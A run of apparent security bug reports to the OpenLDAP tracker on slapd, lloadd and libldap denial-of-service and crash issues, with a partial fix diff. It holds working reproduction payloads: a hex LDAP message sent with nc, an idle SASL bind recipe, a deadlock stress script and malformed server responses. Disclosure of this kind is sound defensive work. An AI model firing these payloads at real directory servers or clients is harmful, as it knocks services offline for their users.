signal; slapd logged 72 header-read timeouts. The results are included as
results-2.6.16-with-fix.txt. It is not a complete fix: a client re-opening 48
silent connections every 5 s raised an ldapwhoami round trip on ldap:// from
0.02 s to about 5 s (six probes: 1.1, 5.1, 5.1, 4.8, 5.1, 5.1 s), with no
failures; this is included as fix-residual-load.txt. Reading the header from
the event loop, before a worker thread is used, would remove the problem; that
was not built.
slapd(8) asks for these ports to be restricted to trusted proxies, giving
address spoofing as the reason; it does not mention availability.
Assessment (not measured): where the port is restricted as documented, the
exposure is limited to the proxy hosts and anything else allowed to reach the
port, for example a TCP health checker that holds connections open.
The fix is included as proxyp-header-timeout-fix.diff.
Suggested fix: Mitigation tested on 2.6.16: 5 s SO_RCVTIMEO around the PROXY
header reads in proxyp(), cleared once the header is accepted.
--- a/servers/slapd/proxyp.c 2026-11-10 06:56:51.951999692 +0000
+++ b/servers/slapd/proxyp.c 2026-11-10 06:56:51.952447276 +0000
@@ -57,8 +57,51 @@
0x0d, 0x0a, 0x0d, 0x0a, 0x00, 0x0d, 0x0a, 0x51, 0x55, 0x49, 0x54, 0x0a,
};
+/*
+ * The header is read with blocking reads on a worker thread, before the
+ * connection is known to connection.c, so none of the connection timeouts
+ * apply yet. Bound each read: a load balancer sends the header as the first
+ * bytes of the connection.
+ */
+#ifndef SLAP_PROXYP_TIMEOUT
+#define SLAP_PROXYP_TIMEOUT 5 /* seconds */
+#endif
+
+static int proxyp_read_header( ber_socket_t sfd, Sockaddr *from, ber_socklen_t
*salen );
+
int
proxyp( ber_socket_t sfd, Sockaddr *from, ber_socklen_t *salen ) {
+ int rc;
+#ifdef SO_RCVTIMEO
+ struct timeval tv;
+
+ tv.tv_sec = SLAP_PROXYP_TIMEOUT;
+ tv.tv_usec = 0;
+ if ( setsockopt( SLAP_FD2SOCK( sfd ), SOL_SOCKET, SO_RCVTIMEO,
+ (char *)&tv, sizeof(tv) ) == AC_SOCKET_ERROR ) {
+ Debug( LDAP_DEBUG_ANY, "proxyp(%ld): "
+ "setsockopt(SO_RCVTIMEO) failed errno=%d\n",
+ (long)sfd, sock_errno() );
+ return 0;
+ }
+#endif /* SO_RCVTIMEO */
+
+ rc = proxyp_read_header( sfd, from, salen );
+
+#ifdef SO_RCVTIMEO
+ if ( rc ) {
+ /* back to no timeout for the LDAP session itself */
+ tv.tv_sec = 0;
+ tv.tv_usec = 0;
+ (void)setsockopt( SLAP_FD2SOCK( sfd ), SOL_SOCKET, SO_RCVTIMEO,
+ (char *)&tv, sizeof(tv) );
+ }
+#endif /* SO_RCVTIMEO */
+ return rc;
+}
+
+static int
+proxyp_read_header( ber_socket_t sfd, Sockaddr *from, ber_socklen_t *salen ) {
proxyp_header pph;
proxyp_addr ppa;
char peername[LDAP_IPADDRLEN];
==============================================================================
Issue 2 of 2: "slapd: sockbuf_max_incoming_auth default is 16 MB, not 4 MB"
(Low–Medium)
==============================================================================
Overview:
slapd-config(5) and slapd.conf(5) give the default of
olcSockbufMaxIncomingAuth (sockbuf_max_incoming_auth) as 4194303 bytes. The
code default is SLAP_SB_MAX_INCOMING_AUTH ((1<<24)-1) = 16777215 bytes
(servers/slapd/slap.h). Authenticated connections can therefore send requests
four times as large as documented.
Any authenticated user benefits from the larger limit; because filter
evaluation cost grows linearly with filter size, a large filter holds a worker
thread for a long time.
Steps to Reproduce:
No reproduction script was kept; the steps describe the measurement.
1) Start slapd 2.6.16 with default settings (no olcSockbufMaxIncomingAuth) and
a database of about 20,000 entries.
2) Bind as an ordinary user and send search requests of 4.2 MB and 8 MB (for
example a filter with many AND terms).
3) As a control, send an unauthenticated request just above 262,143 bytes.
The definition can also be checked without running anything:
grep -n SLAP_SB_MAX_INCOMING_AUTH servers/slapd/slap.h
grep -n -A6 sockbuf_max_incoming_auth doc/man/man5/slapd.conf.5
grep -n -A6 olcSockbufMaxIncomingAuth doc/man/man5/slapd-config.5
Actual Results:
The 4.2 MB and 8 MB requests from the authenticated connection are processed;
the effective cap is 16777215 bytes. The anonymous limit holds (261,980 bytes
accepted, 262,180 bytes closed).
Filter cost on 20,000 entries is linear: a 260 KB AND filter took 18.9 s, a
2.6 MB filter more than 120 s per query. The same on 2.7.2.
Expected Results:
Code and documentation agree on the default (either the documented 4194303 is
enforced, or the manual pages state 16777215).
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag, built from source), Linux aarch64, Ubuntu 24.04
userland, glibc 2.39.
Additional Builds and Platforms:
- 2.7.2 (release tag): the same.
- master: the same definition and manual-page text, by reading.
- 2.5.20, Ubuntu package, Alpine/musl: not tested.
Additional Information:
Not a crash; a mismatch between documentation and code.
Root cause: servers/slapd/slap.h, "#define SLAP_SB_MAX_INCOMING_AUTH ((1<<24)
- 1)"; slapd-config(5) and slapd.conf(5) say 4194303.
No fix was built or tested; the change is either the constant or the two
manual pages. Not independently reproduced.
The 16 MB limit applies to authenticated connections only; unauthenticated
connections are held to sockbuf_max_incoming (262,143 bytes).
Credit: when a CVE is assigned for this issue, please credit Joao Charles
Carvalho.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=10763
Issue ID: 10763
Summary: lloadd shared upstream connections affect other
clients - MEDIUM
Product: OpenLDAP
Version: 2.6.16
Hardware: All
OS: All
Status: UNCONFIRMED
Keywords: needs_review
Severity: normal
Priority: ---
Component: lloadd
Assignee: bugs(a)openldap.org
Reporter: jcc(a)security.souspilot.com
Target Milestone: ---
Overview:
In lloadd one client's malformed request makes the backend close a shared
upstream connection, idle first-step SASL binds pin all bind connections, and
setting a monitor connection to closing in the slapd-module build deadlocks.
The fix direction is to validate requests before forwarding, time out
incomplete SASL binds, and fix the lock order in the monitor close path. The
highest outcome is denial of service to other clients.
This report groups 3 related issues, listed below with their own reproduction
steps and results. They were found together and are reported as one batch at
the maintainers' request.
Issues in this report:
1. "lloadd: one client's bad request severs others' operations" (Medium)
2. "lloadd: idle SASL step-1 clients pin all bind connections" (Medium)
3. "lloadd module: deadlock on olmConnectionState: closing" (Low)
==============================================================================
Issue 1 of 3: "lloadd: one client's bad request severs others' operations"
(Medium)
==============================================================================
Overview:
lloadd forwards request bodies and controls unchanged over upstream
connections that are shared by many clients. slapd answers some malformed
requests with a Notice of Disconnection and closes the connection. Sent
directly, that closes only the sender's connection; through lloadd it closes
the shared upstream connection, and every other client's operations in flight
on it fail with result 80 ("connection to the remote server has been
severed"). Any client, without authentication, can do this repeatedly.
Steps to Reproduce:
1. Backend: slapd 2.6.16 on ldap://127.0.0.1:2389 with a database
dc=example,dc=org (rootdn cn=admin,dc=example,dc=org), olcAuthzPolicy "to",
the parent entries ou=services and ou=people, and:
dn: cn=lloadd,ou=services,dc=example,dc=org
objectClass: applicationProcess
objectClass: simpleSecurityObject
cn: lloadd
userPassword: lloadsecret
authzTo: dn.regex:.*
dn: uid=alice,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: alice
cn: Alice
sn: A
userPassword: alicepw
To keep the victim's searches in flight long enough, the backend holds 20,000
filler entries with a description attribute; the victim's "slow search" is a
subtree search of dc=example,dc=org whose filter is an OR of 1,000 unindexed
substring terms (description=*q<i>z*x*), requesting attribute 1.1.
2. lloadd 2.6.16 with small upstream pools so that clients share upstream
connections, /tmp/repro/lloadd.conf:
io-threads 2
threads 4
iotimeout 10000
feature proxyauthz
bindconf
bindmethod=simple
binddn=cn=lloadd,ou=services,dc=example,dc=org
credentials=lloadsecret
network-timeout=3
tier roundrobin
backend-server
uri=ldap://127.0.0.1:2389
numconns=2
bindconns=2
retry=1000
max-pending-ops=200
conn-max-pending=100
lloadd -d stats -f /tmp/repro/lloadd.conf -h ldap://127.0.0.1:1389
3. Victim: connect to lloadd, simple bind as
uid=alice,ou=people,dc=example,dc=org / alicepw, then send 4 slow searches
(message IDs 10 to 13) in one write and do not wait for the answers.
4. After 0.3 s, attacker: connect to lloadd without binding and send this one
LDAPMessage (85 bytes, hexadecimal), then read one response and close:
30530201036335041164633d6578616d706c652c64633d6f72670a01020a0100020100020100010100870b6f626a656374436c61737330040402636ea0173015040c312e332e362e312e312e31320101ff04023080
Decoded: message ID 3; SearchRequest with base "dc=example,dc=org", scope
subtree, derefAliases 0, size limit 0, time limit 0, typesOnly FALSE, filter
(objectClass=*), attributes "cn"; one control: OID 1.3.6.1.1.12 (Assertion,
RFC 4528), criticality TRUE, value 30 80 (a SEQUENCE with indefinite length,
which is not a valid filter). For example:
printf '%s'
30530201036335041164633d6578616d706c652c64633d6f72670a01020a0100020100020100010100870b6f626a656374436c61737330040402636ea0173015040c312e332e362e312e312e31320101ff04023080
| xxd -r -p | nc -q 2 127.0.0.1 1389 | xxd
5. Victim: read the 4 search results.
6. Control: repeat steps 3 to 5 with both clients connected directly to the
backend (ldap://127.0.0.1:2389). The test clients speak raw LDAP; a
proof-of-concept script is available and can be provided on request.
Actual Results:
Directly at slapd: the attacker receives the unsolicited ExtendedResponse
(Notice of Disconnection, tag 0x78) with result 2 "error decoding filter" and
its connection is closed; the victim's 4 of 4 searches end with result 0.
Through lloadd: the attacker receives a SearchResultDone with result 80, and
the victim's 4 of 4 searches end with 80 "connection to the remote server has
been severed". The demonstration was run twice in one test series with the
same result. Not every malformed request does this: a search with a malformed
filter of another kind ("decoding attrs error") left the victim's searches
untouched. In a replay of 922 malformed and unusual requests through lloadd,
30 show the pattern (slapd answers with a Notice of Disconnection and a
close). Repeating the request keeps other clients' operations failing.
Expected Results:
A malformed request from one client should affect only that client: lloadd
should validate what it forwards, or confine the consequences of an upstream
disconnect to the client that caused it.
Build Date & Hardware:
OpenLDAP lloadd 2.6.16 and 2.7.2 (release tags, built from source) with slapd
backends of the same versions, Linux arm64 (aarch64), Ubuntu 24.04 userland,
glibc 2.39; the 922-input replay ran on a 2.6.16 AddressSanitizer build of
lloadd (no sanitizer report, lloadd stayed alive).
Additional Builds and Platforms:
master, 2.5.20, distribution packages, Alpine/musl and x86-64: not tested.
Additional Information:
No crash of lloadd. Cause: lloadd re-encodes only the LDAPMessage envelope and
passes the operation body and the controls through; the backend's reaction to
a malformed PDU (disconnect) applies to a connection that carries other
clients' operations, and lloadd fails every operation pending on it with 80.
No source line is given: the behaviour follows from the design and was
established by test. ITS#10266 (the Notice of Disconnection rework in 2.7)
does not prevent it. Not established: whether an in-flight write of another
client is applied or lost when the connection is severed. Not reproduced a
second time independently. Same class as two other lloadd reports about state
shared on upstream connections, reported separately as "lloadd: forwarded
Cancel cancels other clients' operations" and "lloadd: paged-results and txn
state shared between clients". Fix direction (untested; no fix was built):
validate request bodies and controls in lloadd to the extent that slapd treats
as fatal for the connection, or on an upstream Notice of Disconnection retry
or re-route the other clients' idempotent operations and penalise only the
client whose request preceded it. No configuration workaround is known. No ITS
or commit was found for this.
==============================================================================
Issue 2 of 3: "lloadd: idle SASL step-1 clients pin all bind connections"
(Medium)
==============================================================================
Overview:
lloadd dedicates one upstream "bind" connection to a client for the duration
of a multi-step SASL bind. A client that sends only the first step of such a
bind (CRAM-MD5, DIGEST-MD5, SCRAM-*) and then stays connected keeps that
connection pinned. As many such clients as there are bind connections in total
make every other client's bind fail with 51 (busy), for as long as they stay
connected when bindconf has no "timeout=" (the default). No authentication is
needed. Operations other than Bind of sessions that are already bound keep
working.
Steps to Reproduce:
1. Two backends: slapd 2.6.16 built with Cyrus SASL (CRAM-MD5 offered) on
ldap://127.0.0.1:2389 and ldap://127.0.0.1:2390, each with a database
dc=example,dc=org containing the lloadd service account
cn=lloadd,ou=services,dc=example,dc=org (password lloadsecret) and the user
uid=alice,ou=people,dc=example,dc=org (password alicepw).
2. lloadd 2.6.16, /tmp/repro/lloadd.conf; bindconf has no "timeout=", which is
the default:
io-threads 2
threads 4
iotimeout 10000
feature proxyauthz
bindconf
bindmethod=simple
binddn=cn=lloadd,ou=services,dc=example,dc=org
credentials=lloadsecret
network-timeout=3
tier roundrobin
backend-server
uri=ldap://127.0.0.1:2389
numconns=2
bindconns=2
retry=1000
max-pending-ops=200
conn-max-pending=100
backend-server
uri=ldap://127.0.0.1:2390
numconns=2
bindconns=2
retry=1000
max-pending-ops=200
conn-max-pending=100
lloadd -d stats -f /tmp/repro/lloadd.conf -h ldap://127.0.0.1:1389
3. Control: a simple bind through lloadd succeeds:
ldapwhoami -x -H ldap://127.0.0.1:1389 -D
uid=alice,ou=people,dc=example,dc=org -w alicepw
4. Open N = 4 TCP connections to lloadd (N = total bindconns). On each send
one BindRequest: version 3, empty name, SASL mechanism "CRAM-MD5", no
credentials. Read the response (result 14, saslBindInProgress, with the
server challenge) and leave the connection open without sending anything.
For example each of these, left waiting at its password prompt, holds one
connection after step 1 of the exchange:
ldapwhoami -Y CRAM-MD5 -U alice -W -H ldap://127.0.0.1:1389
5. While they are held, repeat the bind of step 3 every 5 seconds.
6. Close the holding connections and repeat step 3. A proof-of-concept script
is available and can be provided on request.
Actual Results:
lloadd 2.6.16, no timeout, 4 held connections for 60 s:
12 of 12 binds fail with 51 "server busy" (samples at 0 to 55 s)
lloadd 2.7.2, one backend with one bind connection, 1 held connection for
40 s:
8 of 8 binds fail with 51 "server busy" (samples at 0 to 35 s)
lloadd 2.6.16, bindconf timeout=10, 4 held connections for 45 s:
3 of 9 fail (at 0, 5 and 10 s), then binds succeed
lloadd 2.6.16, bindconf timeout=10, step 1 resent every 5 s for 60 s:
6 of 12 fail, alternating with successes (one run)
In every case the bind succeeds before the holding connections are opened and
again after they are closed.
Expected Results:
An unfinished SASL exchange should not hold a shared bind connection
indefinitely by default, and a few idle unauthenticated clients should not be
able to stop all binds.
Build Date & Hardware:
OpenLDAP lloadd 2.6.16 and 2.7.2 (release tags, built from source) with slapd
backends of the same versions built with Cyrus SASL, Linux arm64 (aarch64),
Ubuntu 24.04 userland, glibc 2.39.
Additional Builds and Platforms:
master, 2.5.20, distribution packages, Alpine/musl and x86-64: not tested.
Additional Information:
No crash. Cause: the per-exchange pinning of upstream bind connections in
servers/lloadd/bind.c combined with no default time limit for an exchange in
progress; with "timeout=10" the connections are released after about 10 to 15
seconds, but a client can renew the reservation by sending step 1 again. No
source line is given: the behaviour was established by test. Preconditions: a
backend offering a multi-step SASL mechanism, and as many holding connections
as there are bind connections in total. One test series; not reproduced a
second time independently. Fix direction (untested; no fix was built): apply a
default time limit to an unfinished SASL exchange and do not let a repeated
step 1 renew it; count half-finished binds per client address. Configuration
workarounds: set "timeout=" in bindconf (shortens the block; with resending
about half of the binds still failed) and raise bindconns. No ITS or commit
was found for this.
==============================================================================
Issue 3 of 3: "lloadd module: deadlock on olmConnectionState: closing" (Low)
==============================================================================
Overview:
When lloadd runs as a slapd module (moduleload lloadd.la, "backend lload")
with back-monitor, a monitor writer can set "olmConnectionState: closing" on a
connection entry under cn=Load Balancer,cn=Backends,cn=Monitor to close that
connection. Doing this repeatedly while clients connect and disconnect
deadlocks the process: both slapd's own listener and lloadd's listener stop
answering, at 0% CPU, and stay hung. It needs write access to the monitor
database (the monitor rootdn, or any authenticated user under a monitor ACL of
"by users write" as in the upstream test configuration
tests/data/slapd-lload.conf). The root cause was not pinned down.
Steps to Reproduce:
1. slapd 2.6.16 built with --enable-balancer=mod, and a separate backend slapd
on ldap://127.0.0.1:3389 with a database dc=example,dc=org containing
cn=lloadd,ou=services,dc=example,dc=org (password lloadsecret, authzTo
dn.regex:.*) and uid=alice,ou=people,dc=example,dc=org (password alicepw).
adjust schema and module paths):
include /etc/ldap/schema/core.schema
include /etc/ldap/schema/cosine.schema
include /etc/ldap/schema/inetorgperson.schema
pidfile /tmp/repro/slapd.pid
modulepath /usr/lib/ldap
moduleload lloadd.la
backend lload
listen "ldap://127.0.0.1:1389"
feature proxyauthz
bindconf bindmethod=simple binddn="cn=lloadd,ou=services,dc=example,dc=org"
credentials=lloadsecret network-timeout=5
tier roundrobin
backend-server uri=ldap://127.0.0.1:3389 numconns=2 bindconns=2 retry=1000
max-pending-ops=50 conn-max-pending=10
database config
rootpw secret
database monitor
rootdn "cn=monadmin,cn=monitor"
rootpw monpw
slapd -d stats -f /tmp/repro/slapd-lload.conf -h ldap://127.0.0.1:2389
slapd then listens on port 2389 and the load balancer inside it on 1389.
3. For 60 seconds run at the same time: 8 threads that churn load-balancer
clients on port 1389 (connect, bind as alice or anonymously, Who am I?,
then Unbind or a TCP reset); 3 anonymous readers searching the cn=Load
Balancer,cn=Backends,cn=Monitor subtree on port 2389; and one thread bound
as cn=monadmin,cn=monitor that repeatedly lists the entries under
cn=Incoming Connections,cn=Load Balancer,cn=Backends,cn=Monitor (in a
variant also under cn=Backend Tiers) and replaces olmConnectionState with
"closing" on 3 randomly chosen ones. Then probe both listeners (a bind and
Who am I? on 1389, a search on 2389). The client used in the tests (Python
3 with the ldap3 package) follows; this copy has neutral addresses:
import os, json, time, random, threading, socket, struct
from ldap3 import Server, Connection, SUBTREE, MODIFY_REPLACE
H = os.environ.get("HOST", "127.0.0.1"); DUR = int(os.environ.get("DUR",
"60"))
SLAPD_PORT = 2389; LB_PORT = 1389
B = "cn=Load Balancer,cn=Backends,cn=Monitor"
st = {"churn": 0, "churn_err": 0, "mon": 0, "mon_err": 0, "close": 0,
"close_rc": {}}; stop = time.time() + DUR; lk = threading.Lock()
def inc(k, n=1):
with lk: st[k] = st.get(k, 0) + n
def churn(i):
r = random.Random(i)
while time.time() < stop:
try:
c = Connection(Server(H, port=LB_PORT, get_info="NO_INFO"),
user=r.choice(["uid=alice,ou=people,dc=example,dc=org", None]),
password="alicepw", auto_bind=True, receive_timeout=5)
c.extend.standard.who_am_i()
if r.random() < 0.3:
c.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
struct.pack("ii", 1, 0)); c.socket.close()
else: c.unbind()
inc("churn")
except Exception: inc("churn_err")
def mon(i):
while time.time() < stop:
try:
m = Connection(Server(H, port=SLAPD_PORT, get_info="NO_INFO"),
auto_bind=True, receive_timeout=5)
m.search(B, "(objectClass=olmBalancerConnection)", SUBTREE,
attributes=["*"]); m.unbind(); inc("mon")
except Exception: inc("mon_err")
def closer():
a = Connection(Server(H, port=SLAPD_PORT, get_info="NO_INFO"),
user=os.environ["MONDN"], password=os.environ["MONPW"], auto_bind=True,
receive_timeout=5)
while time.time() < stop:
try:
a.search("cn=Incoming Connections," + B,
"(objectClass=olmBalancerConnection)", SUBTREE, attributes=["cn"])
dns = [e.entry_dn for e in a.entries]
if os.environ.get("UPSTREAM") == "1":
a.search("cn=Backend Tiers," + B,
"(objectClass=olmBalancerConnection)", SUBTREE, attributes=["cn"]); dns +=
[e.entry_dn for e in a.entries]
for dn in random.sample(dns, min(3, len(dns))):
a.modify(dn, {"olmConnectionState": [(MODIFY_REPLACE,
["closing"])]}); inc("close")
with lk: st["close_rc"][a.result["result"]] =
st["close_rc"].get(a.result["result"], 0) + 1
except Exception as e: inc("mon_err")
ts = [threading.Thread(target=churn, args=(i,)) for i in range(8)] +
[threading.Thread(target=mon, args=(i,)) for i in range(3)]
if os.environ.get("MONDN"): ts.append(threading.Thread(target=closer))
for t in ts: t.start()
for t in ts: t.join()
time.sleep(1)
try:
c = Connection(Server(H, port=LB_PORT, get_info="NO_INFO"),
user="uid=alice,ou=people,dc=example,dc=org", password="alicepw",
auto_bind=True, receive_timeout=5)
st["lloadd_alive"] = str(c.extend.standard.who_am_i())
except Exception as e: st["lloadd_alive"] = repr(e)[:100]
try:
m = Connection(Server(H, port=SLAPD_PORT, get_info="NO_INFO"),
auto_bind=True, receive_timeout=5); m.search(B, "(objectClass=*)",
attributes=["cn"]); st["slapd_alive"] = m.result["result"]
except Exception as e: st["slapd_alive"] = repr(e)[:100]
print(json.dumps(st))
Saved as /tmp/repro/monitor-close-stress.py:
MONDN=cn=monadmin,cn=monitor MONPW=monpw DUR=60 python3
/tmp/repro/monitor-close-stress.py
MONDN=cn=monadmin,cn=monitor MONPW=monpw UPSTREAM=1 DUR=60 python3
/tmp/repro/monitor-close-stress.py
DUR=60 python3 /tmp/repro/monitor-close-stress.py # control: no
"closing" writes
A proof-of-concept script is available and can be provided on request (the
client above is that script with the addresses changed).
Actual Results:
At the end of each 60-second run with "closing" writes neither the
load-balancer listener nor slapd's own listener answers (the probes time out);
a fresh process was used for each run:
closing writes on client entries (24 with result 0, 34 with result 32):
both listeners time out
closing writes on client entries, second run (67 / 130):
both listeners time out
closing writes on client and upstream entries (15 / 53):
both listeners time out
control, readers and churn only (40,618 connections, 16,763 monitor
searches):
both listeners answer
That is 3 of 3 runs with "closing" writes hung and the 1 run without them did
not. The hung process stays at 0% CPU and does not recover; how long it was
observed after the run is not known. The thread list of one hung process (all
threads but two in a futex wait, most on one address; two in epoll_wait) is
Expected Results:
Closing a connection through cn=monitor should never block the server,
whatever the clients do at the same time.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag OPENLDAP_REL_ENG_2_6_16, built from source with
--enable-balancer=mod), slapd with the lloadd module, Linux arm64 (aarch64),
Ubuntu 24.04 userland, glibc 2.39.
Additional Builds and Platforms:
2.7.2 (no module build was made), master, 2.5.20, distribution packages,
Alpine/musl and x86-64: not tested.
Additional Information:
Failure type: hang of both listeners (deadlock, no crash) in the cn=monitor
handlers of the lloadd module (servers/lloadd/monitor.c). Root cause: not
established; no debugger was available in the test environment and no
backtraces were taken. lloadd's debug output stops about 20 seconds before
slapd's. Who can trigger it: a client with write access to the lloadd
connection entries under cn=monitor; in the tests that was the monitor rootdn
(an anonymous write is refused with 8). The "by users write" monitor ACL of
tests/data/slapd-lload.conf, which would let any bound user do it, was not
run. Not reproduced a second time. Hypothesis from reading the code, not from
a backtrace: a lock-order inversion between back-monitor's entry locks and the
connection lock or epoch reclamation. lload_monitor_conn_modify() calls
lload_connection_close() with the monitor entry locked, and epoch_leave()
there can run client_destroy(), which calls lload_monitor_conn_unlink() and
unregister_entry(), while lload_monitor_conn_update() takes CONNECTION_LOCK
under the monitor cache lock. A ThreadSanitizer build later reported a similar
lock-order problem between a cn=monitor search and a cn=config change of the
lloadd backend (monitor.c:859 against monitor.c:307, one run); whether that is
the same cause was not shown. ITS#9951 (in 2.6.16) fixed one deadlock in this
area; git log for servers/lloadd shows no later monitor or deadlock fix
(ITS#10647 only removes an assertion). No fix was built or tested, since the
cause is not known.
Credit: when a CVE is assigned for this issue, please credit Joao Charles
Carvalho.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=10762
Issue ID: 10762
Summary: libldap parsers abort or misread malformed input -
MEDIUM
Product: OpenLDAP
Version: 2.6.16
Hardware: All
OS: All
Status: UNCONFIRMED
Keywords: needs_review
Severity: normal
Priority: ---
Component: libraries
Assignee: bugs(a)openldap.org
Reporter: jcc(a)security.souspilot.com
Target Milestone: ---
Overview:
These are in libldap's parsers and encoders: response controls (paged results,
sort, VLV, DirSync), Sync Info messages and Extended/Intermediate responses
without the expected value reach liblber assertions, an unchecked allocation
in str2strval leaves a NULL value, strval2strlen reads past a truncated UTF-8
sequence, and put_simple_vrFilter reads one byte before its input. The fix
direction is to check optional elements and allocation results before use and
to bound the string walks. The highest outcome is an abort of any client,
including slapd as a proxy or consumer, triggered by a malicious server.
This report groups 6 related issues, listed below with their own reproduction
steps and results. They were found together and are reported as one batch at
the maintainers' request.
Issues in this report:
1. "libldap: response control without a value aborts the client" (Medium)
2. "libldap: ldap_sync aborts on Sync Info message without value" (Medium)
3. "libldap: str2strval unchecked allocation leads to NULL deref" (Medium)
4. "libldap: assert on empty responseName in Extended response" (Medium)
5. "libldap: strval2strlen reads past truncated UTF-8 sequence" (Low)
6. "libldap: put_simple_vrFilter reads str[-1] for item "(=x)"" (Low)
==============================================================================
Issue 1 of 6: "libldap: response control without a value aborts the client"
(Medium)
==============================================================================
Overview:
The libldap parsers for the paged-results, server-side-sort, VLV and DirSync
response controls (pagectrl.c, sortctrl.c, vlvctrl.c, msctrl.c) pass the
control's value to liblber without checking that it is present. A response
control that has no controlValue leads to a failed liblber assertion and the
client process aborts.
A malicious or compromised server, or an on-path attacker on a cleartext LDAP
connection, can trigger it. A plain ldapsearch that requested no controls
aborts as well; any application calling the same parsers is affected.
Steps to Reproduce:
1) Run a test LDAP server on 127.0.0.1:3890 that answers each request with
fixed bytes. A BindRequest (ldapsearch -x sends an anonymous simple bind
with messageID 1) gets a BindResponse with resultCode success:
30 0c 02 01 01 61 07 0a 01 00 04 00 04 00
The SearchRequest (messageID 2) gets one SearchResultDone with resultCode
success that carries a controls element [0] in which each Control holds only
the controlType (no criticality, no controlValue). For paged results the
complete message is:
30 28 02 01 02 65 07 0a 01 00 04 00 04 00 a0 1a 30 18 04 16 31 2e 32 2e
38 34 30 2e 31 31 33 35 35 36 2e 31 2e 34 2e 33 31 39
The other cases differ only in the OID: 1.2.840.113556.1.4.474 (sort
response), 2.16.840.1.113730.3.4.10 (VLV response), 1.2.840.113556.1.4.841
(DirSync).
2) Run ldapsearch with the matching request option:
ldapsearch -x -H ldap://127.0.0.1:3890 -b dc=test -E pr=5/noprompt
ldapsearch -x -H ldap://127.0.0.1:3890 -b dc=test -E sss=cn
ldapsearch -x -H ldap://127.0.0.1:3890 -b dc=test -E sss=cn -E vlv=0/10/1/0
ldapsearch -x -H ldap://127.0.0.1:3890 -b dc=test -E '!dirSync=0/0'
3) Variant with no control requested: let the SearchResultDone carry seven
value-less controls (the four above plus 1.3.6.1.4.1.42.2.27.8.5.1 password
policy, 1.3.6.1.4.1.21008.108.63.1 session tracking and
1.3.6.1.4.1.42.2.27.9.5.8 account usability) and run a plain
ldapsearch -x -H ldap://127.0.0.1:3890 -b dc=test
A proof-of-concept script is available and can be provided on request.
Actual Results:
ldapsearch exits with 134 (SIGABRT): "ldapsearch: io.c:110: ber_write:
Assertion `buf != NULL' failed." in 5 of 8 scenarios (the four controls of
step 2 and the plain ldapsearch of step 3) on each of two 2.6.16 builds
(release and ASan). The Ubuntu 24.04 package tools abort in the same 5 of 8
scenarios with the same assertion at io.c:108. One run.
The other 3 of 8 scenarios, value-less password-policy, session-tracking and
account-usability response controls alone, are handled (exit 0) on all three.
For 2.7.2 the output holds four lines with exit 134 and the same io.c:110
assertion; they carry no scenario label.
Expected Results:
The parsers return a decoding error (LDAP_DECODING_ERROR) for a control
without a value; the client reports the error and does not abort.
Build Date & Hardware:
OpenLDAP 2.6.16 client tools and libldap (release tag, built from source; a
release build and a build with -fsanitize=address), Linux aarch64, Ubuntu
24.04 userland, glibc 2.39.
Additional Builds and Platforms:
- 2.7.2 (release tag): aborts the same way (four aborts, scenarios not
labelled in the output).
- Ubuntu 24.04 package (ldap-utils 2.6.10; the output shows the io.c:108
source line): aborts the same way.
- PHP 8.4's ldap extension: not affected; the extension calls the parsers only
when the control has a value (80+ scenarios, no abort).
- master, 2.5.20, Alpine/musl: not tested.
Additional Information:
Crash type: assertion failure (abort) in liblber ber_write(), reached from the
response-control parsers in libldap's pagectrl.c, sortctrl.c, vlvctrl.c and
msctrl.c. The parser sites, by reading 2.6.16 and 2.7.2 (not from the test
output): pagectrl.c:195, sortctrl.c:519, vlvctrl.c:321, msctrl.c:146; the
tools reach them through tool_print_ctrls() in clients/tools/common.c. No fix
was built or tested. Direction (untested): check ctrl->ldctl_value.bv_val for
NULL in each parser and return a decoding error. This observation is from one
run and was not independently reproduced. The on-path variant was not run. The
same missing check in ldap_sync_search_intermediate() is reported separately
as "libldap: ldap_sync aborts on Sync Info message without value"; there the
assertion is "io.c:353: ber_init: Assertion `bv != NULL'".
==============================================================================
Issue 2 of 6: "libldap: ldap_sync aborts on Sync Info message without value"
(Medium)
==============================================================================
Overview:
ldap_sync_search_intermediate() (libraries/libldap/ldap_sync.c, part of the
public ldap_sync_* API) passes the value of a Sync Info intermediate response
to ber_init() without checking that it is present. An intermediate response
without a value fails a liblber assertion and the client process aborts.
A malicious or compromised provider (or an on-path attacker on a cleartext
link) can trigger it against any application that uses the ldap_sync_* API.
Steps to Reproduce:
1) Build a small client that runs a refreshOnly sync search through the
ldap_sync_* API:
#include <stdio.h>
#include <ldap.h>
static int se(ldap_sync_t *ls, LDAPMessage *m, struct berval *u,
ldap_sync_refresh_t p){ puts("entry"); return 0; }
static int sr(ldap_sync_t *ls, LDAPMessage *m){ puts("reference"); return
0; }
static int si(ldap_sync_t *ls, LDAPMessage *m, BerVarray u,
ldap_sync_refresh_t p){ puts("intermediate"); return 0; }
static int sres(ldap_sync_t *ls, LDAPMessage *m, int d){ puts("result");
return 0; }
int main(int argc, char **argv){
LDAP *ld; int v = 3, rc; ldap_sync_t ls;
if (ldap_initialize(&ld, argv[1]) != LDAP_SUCCESS) return 2;
ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &v);
ldap_sync_initialize(&ls);
ls.ls_base = argv[2]; ls.ls_scope = LDAP_SCOPE_SUBTREE; ls.ls_filter =
"(objectClass=*)"; ls.ls_timeout = 5;
ls.ls_search_entry = se; ls.ls_search_reference = sr; ls.ls_intermediate
= si; ls.ls_search_result = sres; ls.ls_ld = ld;
rc = ldap_sync_init(&ls, LDAP_SYNC_REFRESH_ONLY);
printf("ldap_sync_init rc=%d (%s)\n", rc, ldap_err2string(rc));
return 0;
}
cc -o synctest synctest.c -lldap -llber
./synctest ldap://127.0.0.1:3890 dc=test
2) Run a test server on 127.0.0.1:3890 that answers with fixed bytes: a
BindRequest (if the client sends one) gets a BindResponse with resultCode
success
30 0c 02 01 01 61 07 0a 01 00 04 00 04 00
and the SearchRequest (messageID 2 here; the server must echo the request's
own messageID) gets an IntermediateResponse [APPLICATION 25] holding only
responseName [0] "1.3.6.1.4.1.4203.1.9.1.4" (Sync Info) and no responseValue,
followed by a SearchResultDone with resultCode success:
